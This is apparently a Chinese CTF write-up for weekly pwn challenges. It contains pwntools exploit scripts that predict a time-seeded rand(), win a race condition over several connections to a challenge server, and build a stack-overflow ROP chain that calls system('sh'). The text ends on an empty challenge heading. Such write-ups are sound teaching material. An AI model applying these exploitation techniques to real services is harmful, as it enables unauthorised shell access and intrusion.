Week1 幸运星
一道伪随机数的题目,只需要50次输入和生产的随机数一样即可,此题将time(0)设置为种子,这里我还是编写一段C语言代码来生产随机数。
#include<stdio.h> #include<stdlib.h> #include<time.h> int main() { srand(time(0)); int x=0; for(int i=0;i<50;i++) { x=rand()%53+7; printf("%d\n",x); } return 0; }
from pwn import* io=process('./lucky') recv_data=os.popen('./Lucky').read() print(recv_data) list=recv_data.strip('\n') list=recv_data.split('\n') for i in range(50): io.sendline(str(list[i])) io.interactive()
下面是官方的exp,
from ctypes import* from pwn import* io=remote('',) libc=CDLL('./libc.so') time=libc.time(0) libc.srand(time) for i in range(50): p=libc.rand()%53+7 io.sendline(str(p)) io.interactive()
count 没有给附件,直接编写脚本计算即可。
from pwn import* io=remote() io.sendline(b'4100625') io.recvuntil(b'Are you ready?') for i in range(20): io.recvuntil(b'0x') num1=int(io.recvuntil(b" ",drop=True),16) io.recvuntil(b'0x') num2=int(io.recvuntil(b" ",drop=True),16) sum=num1+num2 io.sendline(str(sum)) io.interactive()
No vuln 看起来是一个简单的用户态竞争,那什么是竞争呢,竞争就是当多个线程(或进程)同时访问操作同一份共享数据,并且结果取决于他们运行的时序时,就发生了竞争。
这题想要获取shell,得让buffer的值为IM_FLAG,buffer的值是从Secret.txt文件中读取的,但是从write_operation函数中可以看出似乎是不太可能的,如果按照顺序执行write函数与read函数的话,不能达到相应的目的,这时就得考虑一下连接两个进程同时执行两个函数,造成竞争。
from pwn import* context.arch='amd64' io1=remote('challenge.ilovectf.cn',30626) io2=remote('challenge.ilovectf.cn',30626) io3=remote('challenge.ilovectf.cn',30626) while True: io1=remote('challenge.ilovectf.cn',30626) io2=remote('challenge.ilovectf.cn',30626) io3=remote('challenge.ilovectf.cn',30626) io1.recvuntil('surprise...') io2.recvuntil('surprise...') io3.recvuntil('surprise...') io1.recv(10) io2.recv(10) io3.recv(10) io1.send(b"WR"*(0x100//2)) io2.send(b"WR"*(0x100//2)) io3.send(b"WR"*(0x100//2)) result1=io1.recv(10) result2=io2.recv(10) result3=io3.recv(10) print(result1) print(result2) print(result3) if b"IMPOSSIBLE" in result1: io1.interactive() elif b"IMPOSSIBLE" in result2: io2.interactive() elif b"IMPOSSIBLE" in result3: io3.interactive() else: io1.close() io2.close() io3.close()
Week2 神圣术 题没什么难度,只需要跟着做就行了,但是好像只能输入十进制的数,就有点难受。
Week3 sokoban
是一个推箱子的游戏,需要将箱子推到指定位置使得flag_num的值为4,然后就能栈溢出。但是经过几次发现好像只能将三个箱子推到指定位置,于是卡了一会儿
再看一下exec_and_update函数,发现了一个bug,就是只要将箱子推入指定位置就算一次,就算将该箱子再推出指定位置,flag_num的值也不会减少,因此该题就简单了。
from pwn import* elf=ELF('./sokoban') io=remote('challenge.ilovectf.cn',30714) sh=0x403112 system_func=0x401050 pop_rdi_ret=0x000000000040264c payload=b'dddwwwwddddssssddddwwwwdsssssasddwddsawaasdwddsawaasdwddsawaasd' io.sendline(payload) payload=cyclic(0x18)+p64(pop_rdi_ret)+p64(sh)+p64(pop_rdi_ret+1)+p64(system_func) io.sendafter(b'sh',payload) io.interactive()
弥达斯之触